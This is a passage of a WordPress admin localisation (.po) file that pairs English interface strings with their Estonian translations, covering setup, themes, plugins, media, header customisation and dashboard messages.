#: wp-admin/includes/dashboard.php:1296 wp-admin/includes/dashboard.php:1299
msgid "Edit your front page"
msgstr "Muuda avalehte"

#: wp-admin/includes/dashboard.php:1297 wp-admin/includes/dashboard.php:1300
msgid "Add additional pages"
msgstr "Lisa lehti"

#: wp-admin/includes/dashboard.php:1301
msgid "Add a blog post"
msgstr "Lisa blogipostitus"

#: wp-admin/includes/dashboard.php:1303
msgid "Write your first blog post"
msgstr "Kirjuta oma esimene blogipostitus"

#: wp-admin/includes/dashboard.php:1304
msgid "Add an About page"
msgstr "Loo leht enda kohta"

#: wp-admin/includes/dashboard.php:1306
msgid "View your site"
msgstr "Vaata oma saiti"

#: wp-admin/includes/meta-boxes.php:297
msgid "Uploaded on: <b>%1$s</b>"
msgstr "Üles laaditud: <b>%1$s</b>"

#: wp-admin/includes/plugin-install.php:218
msgid "If you have marked plugins as favorites on WordPress.org, you can browse them here."
msgstr "Kui oled märkinud pluginaid lemmikuteks WordPress.org-saidil, näed neid siin."

#: wp-admin/includes/plugin-install.php:222
msgid "Your WordPress.org username:"
msgstr "Sinu WordPress.org kasutajanimi:"

#: wp-admin/includes/plugin-install.php:224
msgid "Get Favorites"
msgstr "Tõmba lemmikud"

#: wp-admin/includes/plugin.php:1733 wp-admin/includes/plugin.php:1738
#: wp-admin/includes/plugin.php:1761 wp-admin/includes/plugin.php:1766
#: wp-admin/includes/template.php:1179 wp-admin/includes/template.php:1184
msgid "The \"%s\" options group has been removed. Use another settings group."
msgstr "“%s” valikuterühm on eemaldatud. Vali mõni muu."

#: wp-admin/includes/update-core.php:1138 wp-admin/update-core.php:421
msgid "Welcome to WordPress %1$s. You will be redirected to the About WordPress screen. If not, click <a href=\"%2$s\">here</a>."
msgstr "Tere tulemast WordPressi versiooni %1$s. Sind suunatakse WordPressi tutvustusekraanile. Kui see ei toimi, klõpsa <a href=\"%2$s\">siia</a>."

#: wp-admin/options-reading.php:58
msgid "You can also control the display of your content in RSS feeds, including the maximum numbers of posts to display and whether to show full text or a summary."
msgstr "Ka RSS-voogude kuvamist saab kohandada – näiteks määrates maksimaalse kuvatavate postituste arvu ja kas kuvatakse kogu postitus või kõigest sissejuhatus."

#: wp-admin/options-reading.php:64 wp-admin/options-reading.php:144
#: wp-admin/options-reading.php:145
msgid "Search Engine Visibility"
msgstr "Otsimootorite ligipääs"

#: wp-admin/options-reading.php:148
msgid "Allow search engines to index this site"
msgstr "Luba selle saidi indekseerimine otsimootorite poolt"

#: wp-admin/options-reading.php:150 wp-admin/options-reading.php:170
msgid "Discourage search engines from indexing this site"
msgstr "Keela selle saidi indekseerimine otsimootorite poolt"

#: wp-admin/options-reading.php:171
msgid "It is up to search engines to honor this request."
msgstr "On otsimootorite otsustada, kas nad järgivad seda sätet või ei."

#: wp-admin/plugin-install.php:77
msgid "If you know what you&#8217;re looking for, Search is your best bet. The Search screen has options to search the WordPress.org Plugin Directory for a particular Term, Author, or Tag. You can also search the directory by selecting popular tags. Tags in larger type mean more plugins have been labeled with that tag."
msgstr "Kui tead, mida tahad, on parim valik otsing. Saad otsida pluginakataloogist kindla võtmesõna, autori või sildi järgi. Võid proovida ka valida populaarsemate siltide järgi – mida suuremas kirjas on silt, seda rohkem on kataloogis selle sildiga pluginaid."

#: wp-admin/plugin-install.php:79
msgid "You can also browse a user&#8217;s favorite plugins, by using the Favorites link in the upper left of the screen and entering their WordPress.org username."
msgstr "Samuti saad sirvida teatud kasutaja lemmik-pluginaid, klõpsates viidet &#8220;Lemmikud&#8221; ülal vasakul ning sisestades tema WordPress.org -kasutajanime."

#: wp-admin/plugin-install.php:80
msgid "If you want to install a plugin that you&#8217;ve downloaded elsewhere, click the Upload link in the upper left. You will be prompted to upload the .zip package, and once uploaded, you can activate the new plugin."
msgstr "Kui soovid paigaldada mujalt alla laaditud pluginat, klõpsa ülal vasakul &#8220;Laadi üles&#8221; -nuppu. Sealt saad ZIP-vormingus pluginapaki üles laadida ja seejärel uue plugina käivitada."

#: wp-admin/setup-config.php:138
msgid "If for any reason this automatic file creation doesn&#8217;t work, don&#8217;t worry. All this does is fill in the database information to a configuration file. You may also simply open <code>wp-config-sample.php</code> in a text editor, fill in your information, and save it as <code>wp-config.php</code>."
msgstr "Kui automaatne faili loomine mingil põhjusel ei õnnestu, ole mureta. Andmebaasi info püüti kõigest kirjutada seadetefaili. Lahenduseks on see käsitsi luua, selleks ava <code>wp-config-sample.php</code> tekstiredaktoriga, sisesta andmed ja salvesta seepeale nimega <code>wp-config.php</code>."

#: wp-admin/setup-config.php:154
msgid "Below you should enter your database connection details. If you&#8217;re not sure about these, contact your host."
msgstr "Sisesta alla oma saidi andmebaasiga ühendumise andmed. Kui sa ei tea neid, küsi nõu oma veebimajutajalt."

#: wp-admin/setup-config.php:300
msgid "Sorry, but I can&#8217;t write the <code>wp-config.php</code> file."
msgstr "Vabandust, aga faili <code>wp-config.php</code> salvestamine ebaõnnestus."

#: wp-admin/setup-config.php:307
msgid "After you&#8217;ve done that, click &#8220;Run the install.&#8221;"
msgstr "Seepeale klõpsa &#8220;Käivita paigaldus!&#8221;."

#: wp-admin/themes.php:130
msgid "Settings saved and theme activated. <a href=\"%s\">Visit site</a>"
msgstr "Seaded salvestatud ja teema aktiveeritud. <a href=\"%s\">Vaata saiti</a>."

#: wp-admin/includes/class-wp-themes-list-table.php:211
msgid "This <a href=\"%1$s\">child theme</a> requires its parent theme, %2$s."
msgstr "See <a href=\"%1$s\">tuletatud teema</a> vajab oma ülemteemat %2$s."

#: wp-admin/edit-form-advanced.php:317
msgid "This screen allows you to edit four fields for metadata in a file within the media library."
msgstr "Siit saad meediateegis olevale failile lisada neli metaandmete välja."

#: wp-admin/includes/class-wp-plugin-install-list-table.php:67
msgctxt "Plugin Installer"
msgid "Favorites"
msgstr "Lemmikud"

#: wp-admin/includes/theme.php:218
msgid "Flexible Header"
msgstr "Paindlik päis"

#: wp-admin/theme-install.php:93
msgid "To install the theme so you can preview it with your site&#8217;s content and customize its theme options, click the \"Install\" button at the top of the left-hand pane. The theme files will be downloaded to your website automatically. When this is complete, the theme is now available for activation, which you can do by clicking the \"Activate\" link, or by navigating to your Manage Themes screen and clicking the \"Live Preview\" link under any installed theme&#8217;s thumbnail image."
msgstr "Paigaldamaks teemat, et katsetada kuidas see klapib saidi sisuga ja kohandamaks selle seadeid, klõpsa &#8220;Paigalda&#8221; ülal vasakul. Seepeale laaditakse alla teema failid. Kui see on tehtud, saad teema kohe sisse lülitada, klõpsates &#8220;Lülita sisse&#8221;. Proovimiseks mine teemade halduslehele ja klõpsa &#8220;Eelvaade&#8221; teema pisipildi all."

#: wp-admin/options-reading.php:50
msgid "The <a href=\"http://codex.wordpress.org/Glossary#Character_set\">character encoding</a> of your site (UTF-8 is recommended)"
msgstr "Sinu veebilehe <a href=\"http://codex.wordpress.org/Glossary#Character_set\">märgikodeering</a>  (UTF-8 on soovitatav)"

#: wp-admin/plugin-editor.php:133 wp-admin/theme-editor.php:30
msgid "In the editing area the Tab key enters a tab character. To move below this area by pressing Tab, press the Esc key followed by the Tab key."
msgstr "Kui aktiivne on redaktoriala, lisab Tab-klahvi vajutus sinna tabulaatorimärgi. Liikumaks Tab-klahviga redaktorialast välja, vajuta Esc ja seejärel Tab."

#: wp-admin/includes/widgets.php:200
msgctxt "widget"
msgid "Add"
msgstr "Lisa"

#: wp-admin/includes/widgets.php:199
msgctxt "widget"
msgid "Edit"
msgstr "Muuda"

#: wp-admin/includes/upgrade.php:199
msgid ""
"This is an example page. It's different from a blog post because it will stay in one place and will show up in your site navigation (in most themes). Most people start with an About page that introduces them to potential site visitors. It might say something like this:\n"
"\n"
"<blockquote>Hi there! I'm a bike messenger by day, aspiring actor by night, and this is my blog. I live in Los Angeles, have a great dog named Jack, and I like pi&#241;a coladas. (And gettin' caught in the rain.)</blockquote>\n"
"\n"
"...or something like this:\n"
"\n"
"<blockquote>The XYZ Doohickey Company was founded in 1971, and has been providing quality doohickeys to the public ever since. Located in Gotham City, XYZ employs over 2,000 people and does all kinds of awesome things for the Gotham community.</blockquote>\n"
"\n"
"As a new WordPress user, you should go to <a href=\"%s\">your dashboard</a> to delete this page and create new pages for your content. Have fun!"
msgstr ""
"See on näidisleht. See erineb ajaveebipostitusest selle poolest, et on püsiva asukohaga ning enamik teemasid näitab seda saidi navigeerimismenüüs. Enamik inimesi alustab Minust -leheküljega, mis kirjeldab neid võimalikele külastajatele. See võiks olla näiteks selline: \n"
"\n"
"<blockquote>Tere! Ma olen päeval jalgrattakuller ja õhtuti algaja näitleja ning see on minu ajaveeb. Ma elan Los Angeleses, mul on lahe koer nimega Jack ning ma armastan pi&#241;a coladat (ja vihma kätte jäämist).</blockquote>\n"
"\n"
"...või midagi sellist:\n"
"\n"
"<blockquote>AS XYZ Trullallaavabrik asutati aastal 1971 ja on sellest ajast varustanud ümbruskonda kvaliteetse trullallaaga. Kükametsas asuv XYZ pakub tööd enam kui 2000 inimesele ning aitab igati kaasa Kükametsa elu-olu arendamisele.</blockquote>\n"
"\n"
"WordPressiga tööd alustades võiksid esmalt minna <a href=\"%s\">oma töölauale</a>, kustutada selle lehe ja panna asemele juba enda omad. Jõudu!"

#: wp-admin/includes/upgrade.php:181
msgid ""
"Hi, this is a comment.\n"
"To delete a comment, just log in and view the post&#039;s comments. There you will have the option to edit or delete them."
msgstr ""
"Tere, see on kommentaar.\n"
"Kommentaaride kustutamiseks logi sisse ja vaata postituste kommentaare. Samast leiad ka muutmis- ja kustutamisvalikud."

#: wp-admin/includes/theme-install.php:78
msgid "Search by tag"
msgstr "Otsi sildi järgi"

#: wp-admin/includes/theme-install.php:75
msgid "Search by author"
msgstr "Otsi autori järgi"

#: wp-admin/includes/theme-install.php:72
#: wp-admin/includes/theme-install.php:83
msgid "Search by keyword"
msgstr "Otsi võtmesõna järgi"

#: wp-admin/includes/theme-install.php:63
msgid "Type of search"
msgstr "Otsingu tüüp"

#: wp-admin/includes/screen.php:1026
msgid "Screen Options Tab"
msgstr "Ekraaniseaded"

#: wp-admin/includes/screen.php:854
msgid "Contextual Help Tab"
msgstr "Kontekstuaalse abiinfo sakk"

#: wp-admin/includes/ms.php:362
msgid "Sorry, you have used your space allocation. Please delete some files to upload more files."
msgstr "Vabandust, sulle eraldatud kettaruum on täis. Palun kustuta faile enne uute üleslaadimist."

#: wp-admin/includes/media.php:2592
msgid "Sorry, you have used all of your storage quota of %s MB."
msgstr "Vabandust, saidile lubatud kettaruum (%s MB) on täis saanud."

#: wp-admin/includes/class-wp-comments-list-table.php:371
msgid "Select comment"
msgstr "Vali kommentaar"

#: wp-admin/includes/class-wp-links-list-table.php:144
#: wp-admin/includes/class-wp-media-list-table.php:317
#: wp-admin/includes/class-wp-ms-sites-list-table.php:246
#: wp-admin/includes/class-wp-ms-users-list-table.php:178
#: wp-admin/includes/class-wp-plugins-list-table.php:477
#: wp-admin/includes/class-wp-posts-list-table.php:590
#: wp-admin/includes/class-wp-terms-list-table.php:271
#: wp-admin/includes/class-wp-users-list-table.php:389
msgid "Select %s"
msgstr "Vali %s"

#: wp-admin/edit-tags.php:345
msgid "Tags can be selectively converted to categories using the <a href=\"%s\">tag to category converter</a>."
msgstr "Silte saab valikuliselt teisendada rubriikideks, kasutades <a href=\"%s\">vastavat teisendajat</a>."

#: wp-admin/edit-tags.php:192
msgid "You can delete Link Categories in the Bulk Action pull-down, but that action does not delete the links within the category. Instead, it moves them to the default Link Category."
msgstr "Viiterubriike saab kustutada tegevuste rippmenüüst, kuid rubriigi kustutamine ei kustuta selles olevaid viiteid – need viiakse vaikimisi kasutatavasse rubriiki."

#: wp-admin/edit-form-advanced.php:298
msgid "Creating a Page is very similar to creating a Post, and the screens can be customized in the same way using drag and drop, the Screen Options tab, and expanding/collapsing boxes as you choose. This screen also has the distraction-free writing space, available in both the Visual and Text modes via the Fullscreen buttons. The Page editor mostly works the same as the Post editor, but there are some Page-specific features in the Page Attributes box:"
msgstr "Lehe loomine sarnaneb postituse loomisele ning ekraani saab samamoodi kohandada. Alates versioonist 3.2 on siin saadaval ka segamatu kirjutamise režiim, mis on vastava nupu alt leitav nii visuaal- kui HTML-redaktoris. Redaktor on suures osas sama, kuid mõned spetsiifilised valikud on leitavad Lehe omaduste all:"

#: wp-admin/edit-form-advanced.php:281
msgid "<strong>Post editor</strong> - Enter the text for your post. There are two modes of editing: Visual and Text. Choose the mode by clicking on the appropriate tab. Visual mode gives you a WYSIWYG editor. Click the last icon in the row to get a second row of controls. The Text mode allows you to enter HTML along with your post text. Line breaks will be converted to paragraphs automatically. You can insert media files by clicking the icons above the post editor and following the directions. You can go to the distraction-free writing screen via the Fullscreen icon in Visual mode (second to last in the top row) or the Fullscreen button in Text mode (last in the row). Once there, you can make buttons visible by hovering over the top area. Exit Fullscreen back to the regular post editor."
msgstr "<strong>Postituseredaktor</strong> – siia käib postituse tekst. Redigeerimiseks on kaks režiimi – visuaal- ja HTML-režiim. Vali sobiv vastavat sakki klõpsates. Visuaalrežiim võimaldab kasutada WYSIWYG-redaktorit. Klõpsa rea viimast ikooni, et kuvada teine juhtnupurida. HTML-režiim võimaldab lisada postituse teksti HTML-märgendeid. Reavahetused muudetakse automaatselt tekstilõikudeks. Meediafailide lisamiseks klõpsa ikoone redaktori kohal ning järgi sealseid juhiseid. Lülitumaks segamatu kirjutamise režiimi, klõpsa üleekraanirežiimi nuppu (visuaalredaktoris on see ülemise rea eelviimane, HTML-redaktoris rea viimane nupp). Seal olles saad nupurida uuesti nähtavaks teha, viies hiirekursori ekraani ülaserva. Üleekraanirežiimist väljumine taastab tavalise redaktori."

#: wp-admin/custom-header.php:570
msgid "You can select an image to be shown at the top of your site by uploading from your computer or choosing from your media library. After selecting an image you will be able to crop it."
msgstr "Siin saad valida pildi, mida näidatakse sinu saidi päises – laadi soovitud pilt üles oma arvutist või vali see meediateegist. Peale pildi valimist saad lõigata sellest sobiva tüki."

#: wp-admin/admin-header.php:207
msgid "Main content"
msgstr "Põhiline sisu"

#: wp-admin/admin-header.php:186
msgid "Skip to main content"
msgstr "Põhilise sisu juurde"

#: wp-admin/custom-header.php:174
msgid "You can set a custom image header for your site. Simply upload the image and crop it, and the new header will go live immediately. Alternatively, you can use an image that has already been uploaded to your Media Library by clicking the &#8220;Choose Image&#8221; button."
msgstr "Saad valida oma saidile soovitud päisepildi – laadi see üles, lõika välja sobiv tükk ning uus päis läheb koheselt käiku. Teine võimalus on kasutada mõnd olemasolevat pilti oma meediateegist, klõpsates nupule &#8220;Vali pilt&#8221;."

#: wp-admin/custom-header.php:836
msgid "Skip Cropping, Publish Image as Is"
msgstr "Ära lõika, avalda pilt nagu on"

#. translators: %s is the theme name in the Customize/Live Preview pane
#: wp-admin/customize.php:139
msgid "You are previewing %s"
msgstr "Teema %s eelvaade"

#: wp-admin/custom-background.php:304 wp-admin/custom-header.php:568
msgid "Select Image"
msgstr "Vali pilt"

#: wp-admin/custom-background.php:314 wp-admin/custom-header.php:604
msgid "Or choose an image from your media library:"
msgstr "Või vali pilt meediateegist:"

#: wp-admin/customize.php:88
msgid "Customize %s"
msgstr "Kohanda %s"

#: wp-admin/customize.php:176
#: wp-admin/includes/class-wp-theme-install-list-table.php:303
#: wp-admin/theme-install.php:267
msgid "Collapse"
msgstr "Peida"

#: wp-admin/custom-header.php:177
msgid "If you don&#8217;t want a header image to be displayed on your site at all, click the &#8220;Remove Header Image&#8221; button at the bottom of the Header Image section of this page. If you want to re-enable the header image later, you just have to select one of the other image options and click &#8220;Save Changes&#8221;."
msgstr "Kui sa ei soovi oma saidil päisepilti kasutada, klõpsa nuppu &#8220;Eemalda päisepilt&#8221; osa &#8220;Päisepilt&#8221; lõpus. Kui otsustad hiljem siiski päisepilti kasutada, vali mõni siinne muu võimalus ning klõpsa &#8220;Salvesta muudatused&#8221;."

#: wp-admin/media.php:62
msgid "You attempted to edit an item that isn&#8217;t an attachment. Please go back and try again."
msgstr "Üritad muuta elementi, mis pole manus. Palun mine tagasi ja proovi uuesti."

#: wp-admin/includes/class-wp-plugin-install-list-table.php:407
msgctxt "plugin"
msgid "Installed"
msgstr "Paigaldatud"

#: wp-admin/includes/class-wp-theme-install-list-table.php:245
#: wp-admin/includes/class-wp-theme-install-list-table.php:366
msgid "This theme is already installed and is up to date"
msgstr "See teema on juba paigaldatud ja värske."

#: wp-admin/includes/class-wp-theme-install-list-table.php:245
#: wp-admin/includes/class-wp-theme-install-list-table.php:366
#: wp-admin/theme-install.php:235
msgctxt "theme"
msgid "Installed"
msgstr "Paigaldatud"

#: wp-admin/theme-install.php:92
msgid "Once you have generated a list of themes, you can preview and install any of them. Click on the thumbnail of the theme you&#8217;re interested in previewing. It will open up in a full-screen Preview page to give you a better idea of how that theme will look."
msgstr "Kui teemade loend on loodud, saad proovida ja paigaldada iga teemat. Klõpsa sind huvitava teema pisipildile, nägemaks selle eelvaadet. Eelvaade avaneb üle ekraani, et saaksid paremini aimu, kuidas selle teema kujundus mõjub."

#: wp-admin/theme-install.php:97
msgid "Previewing and Installing"
msgstr "Eelvaade ja paigaldamine"

#: wp-admin/themes.php:78
msgid "Previewing and Customizing"
msgstr "Eelvaade ja kohandamine"

#: wp-admin/includes/media.php:2549
msgid "You are using the browser&#8217;s built-in file uploader. The WordPress uploader includes multiple file selection and drag and drop capability. <a href=\"#\">Switch to the multi-file uploader</a>."
msgstr "Kasutad veebilehitseja-põhist üleslaadimist. WordPressi üleslaadija võimaldab ka mitme faili korraga laadimist, sealjuures neid lihtsalt üleslaadijale lohistades. <a href=\"#\">Vaheta üleslaadijat</a>."

#: wp-admin/includes/class-wp-theme-install-list-table.php:253
msgid "Preview %s"
msgstr "Eelvaade"

#: wp-admin/tools.php:22
msgid "Categories have hierarchy, meaning that you can nest sub-categories. Tags do not have hierarchy and cannot be nested. Sometimes people start out using one on their posts, then later realize that the other would work better for their content."
msgstr "Rubriike saab hierarhiliselt järjestada, st ühe saab paigutada teise alamrubriigiks. Siltidel ei ole hierarhiat ning üks ei saa kuuluda teise alla. Vahel hakatakse kasutama emba-kumba viisi oma saidi sisu liigitamiseks, avastades hiljem, et teine variant oleks sobivam."

#: wp-admin/tools.php:23
msgid "The Categories and Tags Converter link on this screen will take you to the Import screen, where that Converter is one of the plugins you can install. Once that plugin is installed, the Activate Plugin &amp; Run Importer link will take you to a screen where you can choose to convert tags into categories or vice versa."
msgstr "Rubriikide ja siltide teisendaja viide viib impordilehele, kus see on üks pluginaist, mille saad alla laadida. Peale selle paigaldamist saad viitest &#8220;Lülita see plugin sisse ja käivita importija&#8221; edasi juba teisendamislehele, teisendamaks silte rubriikideks või vastupidi."

#: wp-admin/includes/class-wp-themes-list-table.php:164
#: wp-admin/includes/class-wp-upgrader-skins.php:522
#: wp-admin/includes/class-wp-upgrader-skins.php:601 wp-admin/themes.php:221
#: wp-admin/themes.php:301 wp-admin/themes.php:363
msgid "Live Preview"
msgstr "Eelvaade"

#: wp-admin/custom-header.php:166
msgid "This screen is used to customize the header section of your theme."
msgstr "Siin saad kohandada teema päist."

#: wp-admin/custom-header.php:167
msgid "You can choose from the theme&#8217;s default header images, or use one of your own. You can also customize how your Site Title and Tagline are displayed."
msgstr "Saad valida teemaga kaasa tulnud päisepiltide seast või kasutada mõnda muud pilti. Samuti saad kohandada, kuidas kuvatakse saidi pealkirja ja lühikirjeldust."

#: wp-admin/custom-header.php:175
msgid "Some themes come with additional header images bundled. If you see multiple images displayed, select the one you&#8217;d like and click the &#8220;Save Changes&#8221; button."
msgstr "Mõne teemaga tuleb kaasa mitu päisepilti. Kui näed mitut pilti, vali neist üks ja klõpsa salvestamisnuppu."

#: wp-admin/custom-header.php:176
msgid "If your theme has more than one default header image, or you have uploaded more than one custom header image, you have the option of having WordPress display a randomly different image on each page of your site. Click the &#8220;Random&#8221; radio button next to the Uploaded Images or Default Images section to enable this feature."
msgstr "Kui kasutatava teemaga tuli kaasa mitu päisepilti või oled ise üles laadinud mitu kohandatud päisepilti, saad panna WordPressi kuvama huupi valitut neist igal oma saidi lehel. Selle omaduse kasutamiseks lülita sisse &#8220;Juhuslik&#8221; raadionupp piltide seadete juures."

#: wp-admin/custom-header.php:184
msgid "For most themes, the header text is your Site Title and Tagline, as defined in the <a href=\"%1$s\">General Settings</a> section."
msgstr "Päise tekstiks on enamike teemade puhul veebi pealkiri ja lühikirjeldus, nagu määratud <a href=\"%1$s\">üldseadetes</a>."

#: wp-admin/install.php:181
msgid "Configuration Error"
msgstr "Seadistamise viga"

#: wp-admin/install.php:181
msgid "Your <code>wp-config.php</code> file has an empty database table prefix, which is not supported."
msgstr "Failis <code>wp-config.php</code> on jäänud tühjaks andmebaasitabelite eesliite seade, mis ei ole lubatud."

#: wp-admin/media-new.php:51
msgid "Revert to the <strong>Browser Uploader</strong> by clicking the link below the drag and drop box."
msgstr "Lülitu tagasi <strong>brauseripõhisele üleslaadijale</strong>, klõpsates viidet failide lohistamise ala all."

#: wp-admin/users.php:382
msgid "User deleted."
msgid_plural "%s users deleted."
msgstr[0] "Kasutaja kustutatud."
msgstr[1] "%s kastutajat kustutatud."

#: wp-admin/users.php:386
msgid "New user created. <a href=\"%s\">Edit user</a>"
msgstr "Uus kasutaja loodud. <a href=\"%s\">Redigeeri kasutajat</a>"

#: wp-admin/includes/class-wp-upgrader.php:1441 wp-admin/includes/file.php:614
#: wp-admin/includes/file.php:716
msgid "Could not copy files. You may have run out of disk space."
msgstr "Faile ei õnnestu kopeerida. Võib-olla on kettaruum täis saanud."

#: wp-admin/includes/theme-install.php:58
msgid "Search for themes by keyword."
msgstr "Otsi teemat märksõna järgi."

#: wp-admin/includes/theme-install.php:100
msgid "Find a theme based on specific features."
msgstr "Leia soovitud omadustega teema"

#: wp-admin/setup-config.php:141
msgid "In all likelihood, these items were supplied to you by your Web Host. If you do not have this information, then you will need to contact them before you can continue. If you&#8217;re all ready&hellip;"
msgstr "Tõenäoliselt oled saanud need andmed oma veebimajutuse pakkujalt. Kui Sul pole seda teavet, pead võtma nendega ühendust enne kui saad jätkata. Kui oled valmis&hellip;"

#: wp-admin/theme-editor.php:161
msgid "This theme is broken."
msgstr "See teema on katkine."

#: wp-admin/includes/class-wp-themes-list-table.php:208
msgid "Version: "
msgstr "Versioon"

#: wp-admin/custom-background.php:317
msgid "Set as background"
msgstr "Määra taustapildiks"

#: wp-admin/custom-header.php:608
msgid "Set as header"
msgstr "Määra päisepildiks"

#: wp-admin/includes/class-wp-upgrader-skins.php:596
msgid "Customize &#8220;%s&#8221;"
msgstr "Kohanda &#8220;%s&#8221;"

#: wp-admin/about.php:19
msgid "About"
msgstr "Minust"

#: wp-admin/includes/nav-menu.php:748 wp-admin/includes/nav-menu.php:1008
msgid "No results found."
msgstr "Ühtki tulemust ei leitud."

#: wp-admin/edit-comments.php:209 wp-admin/edit-comments.php:215
#: wp-admin/includes/class-wp-comments-list-table.php:475
#: wp-admin/includes/dashboard.php:554
msgid "Edit comment"
msgstr "Muuda kommentaari"

#: wp-admin/edit-form-advanced.php:461
msgid "Enter title here"
msgstr "Sisesta siia pealkiri"

#: wp-admin/edit-link-form.php:29 wp-admin/includes/meta-boxes.php:883
msgid "Target"
msgstr "Sihtkoht"

#: wp-admin/export.php:163 wp-admin/export.php:169 wp-admin/export.php:186
#: wp-admin/export.php:201 wp-admin/export.php:218
msgid "All"
msgstr "Kõik"

#: wp-admin/includes/class-wp-comments-list-table.php:226
#: wp-admin/includes/class-wp-comments-list-table.php:465
#: wp-admin/includes/class-wp-media-list-table.php:535
#: wp-admin/includes/class-wp-posts-list-table.php:203
#: wp-admin/includes/class-wp-posts-list-table.php:665
msgid "Restore"
msgstr "Taasta"

#: wp-admin/includes/class-wp-media-list-table.php:398
#: wp-admin/includes/class-wp-plugin-install-list-table.php:463
#: wp-admin/includes/class-wp-posts-list-table.php:734
#: wp-admin/includes/plugin-install.php:434 wp-admin/includes/revision.php:173
msgid "%s ago"
msgstr "%s tagasi"

#: wp-admin/includes/class-wp-ms-sites-list-table.php:159
msgid "Path"
msgstr "Rada"

#: wp-admin/includes/class-wp-ms-sites-list-table.php:169
#: wp-admin/includes/media.php:2140 wp-admin/users.php:54
msgid "Actions"
msgstr "Tegevused"

#: wp-admin/includes/class-wp-plugins-list-table.php:237
msgid "Plugin"
msgstr "Plugin"

#: wp-admin/customize.php:174
#: wp-admin/includes/class-wp-theme-install-list-table.php:302
#: wp-admin/theme-install.php:266
msgid "Collapse Sidebar"
msgstr "Ahenda külgpaan"

#: wp-admin/includes/class-wp-theme-install-list-table.php:381
#: wp-admin/includes/plugin-install.php:429
msgid "Version:"
msgstr "Versioon:"

#: wp-admin/includes/image-edit.php:52
msgid "Scale"
msgstr "Muuda suurust"

#: wp-admin/includes/media.php:1159
msgid "Link URL"
msgstr "Viite URL"

#: wp-admin/includes/media.php:1162 wp-admin/includes/media.php:2501
msgid "Enter a link URL or click above for presets."
msgstr "Sisesta viite URL või klõpsa võimalike valikute nägemiseks."

#: wp-admin/includes/media.php:2138 wp-admin/menu.php:63 wp-admin/menu.php:226
msgid "Media"
msgstr "Meedia"

#: wp-admin/includes/meta-boxes.php:423 wp-admin/includes/meta-boxes.php:866
#: wp-admin/press-this.php:587
msgid "Add"
msgstr "Lisa"

#: wp-admin/includes/class-wp-list-table.php:823
#: wp-admin/includes/nav-menu.php:835 wp-admin/includes/nav-menu.php:1023
#: wp-admin/update-core.php:230 wp-admin/update-core.php:237
#: wp-admin/update-core.php:308 wp-admin/update-core.php:315
msgid "Select All"
msgstr "Vali kõik"

#: wp-admin/includes/theme.php:178
msgid "Black"
msgstr "Must"

#: wp-admin/includes/theme.php:179
msgid "Blue"
msgstr "Sinine"

#: wp-admin/includes/theme.php:180
msgid "Brown"
msgstr "Pruun"

#: wp-admin/includes/theme.php:181
msgid "Gray"
msgstr "Hall"

#: wp-admin/includes/theme.php:182
msgid "Green"
msgstr "Roheline"

#: wp-admin/includes/theme.php:183
msgid "Orange"
msgstr "Oranž"

#: wp-admin/includes/theme.php:184
msgid "Pink"
msgstr "Roosa"

#: wp-admin/includes/theme.php:185
msgid "Purple"
msgstr "Purpur"

#: wp-admin/includes/theme.php:186
msgid "Red"
msgstr "Punane"

#: wp-admin/includes/theme.php:187
msgid "Silver"
msgstr "Hõbedane"

#: wp-admin/includes/theme.php:189
msgid "White"
msgstr "Valge"

#: wp-admin/includes/theme.php:190
msgid "Yellow"
msgstr "Kollane"

#: wp-admin/includes/theme.php:209
msgid "Blavatar"
msgstr "Blavatar"

#: wp-admin/link.php:104
msgid "Edit Link"
msgstr "Muuda viidet"

#: wp-admin/menu.php:221 wp-admin/options.php:21
msgid "Settings"
msgstr "Sätted"

#: wp-admin/user-edit.php:274 wp-admin/user-edit.php:275
msgid "Toolbar"
msgstr "Tööriistariba"

#: wp-admin/includes/plugin-install.php:177
#: wp-admin/includes/theme-install.php:65
msgid "Keyword"
msgstr "Võtmesõna"

#: wp-admin/includes/class-wp-upgrader.php:824
msgid "This theme requires a parent theme. Checking if it is installed&#8230;"
msgstr "See teema vajab ülemteemat. Kontrollin, kas see on paigaldatud&#8230;"

#. translators: 1: theme name, 2: version
#: wp-admin/includes/class-wp-upgrader.php:826
msgid "Preparing to install <strong>%1$s %2$s</strong>&#8230;"
msgstr "Asun paigaldama teemat <strong>%1$s %2$s</strong>&#8230;"

#. translators: 1: theme name, 2: version
#: wp-admin/includes/class-wp-upgrader.php:828
msgid "The parent theme, <strong>%1$s %2$s</strong>, is currently installed."
msgstr "Ülemteema <strong>%1$s %2$s</strong> on praegu paigaldatud."

#. translators: 1: theme name, 2: version
#: wp-admin/includes/class-wp-upgrader.php:830
msgid "Successfully installed the parent theme, <strong>%1$s %2$s</strong>."
msgstr "Ülemteema <strong>%1$s %2$s</strong> paigaldati edukalt."

#: wp-admin/includes/class-wp-upgrader.php:831
msgid "<strong>The parent theme could not be found.</strong> You will need to install the parent theme, <strong>%s</strong>, before you can use this child theme."
msgstr "<strong>Ülemteema on puudu.</strong> Palun paigalda ülemteema <strong>%s</strong>, kasutamaks seda tuletatud teemat."

#: wp-admin/custom-header.php:182 wp-admin/custom-header.php:671
#: wp-admin/custom-header.php:676
msgid "Header Text"
msgstr "Päise tekst"

#: wp-admin/custom-header.php:679
msgid "Show header text with your image."
msgstr "Kuva koos pildiga päiseteksti"

#: wp-admin/includes/theme.php:157 wp-admin/includes/update.php:286
#: wp-admin/includes/update.php:375
msgid "There is a new version of %1$s available. <a href=\"%2$s\" class=\"thickbox\" title=\"%3$s\">View version %4$s details</a> or <a href=\"%5$s\">update now</a>."
msgstr "%1$s uus versioon on saadaval. <a href=\"%2$s\" class=\"thickbox\" title=\"%3$s\">Vaata versiooni %4$s üksikasju</a> või <a href=\"%5$s\">uuenda automaatselt</a>."

#: wp-admin/includes/plugin.php:171
msgid "By %s."
msgstr "Autor %s."

#: wp-admin/includes/meta-boxes.php:630
msgid "Add comment"
msgstr "Lisa kommentaar"

#: wp-admin/includes/template.php:441
msgid "Add new Comment"
msgstr "Lisa uus kommentaar"

#: wp-admin/includes/template.php:469
msgid "Add Comment"
msgstr "Lisa kommentaar"

#: wp-admin/includes/class-wp-ms-themes-list-table.php:376
msgid "Broken Theme:"
msgstr "Katkine teema:"

#: wp-admin/includes/class-wp-ms-themes-list-table.php:226
msgid "Broken <span class=\"count\">(%s)</span>"
msgid_plural "Broken <span class=\"count\">(%s)</span>"
msgstr[0] "Katki <span class=\"count\">(%s)</span>"
msgstr[1] "Katki <span class=\"count\">(%s)</span>"

#: wp-admin/includes/theme.php:192
msgid "Light"
msgstr "Hele"

#. Plugin Name of the plugin/theme
msgid "Hello Dolly"
msgstr "Hello Dolly"

#. Description of the plugin/theme
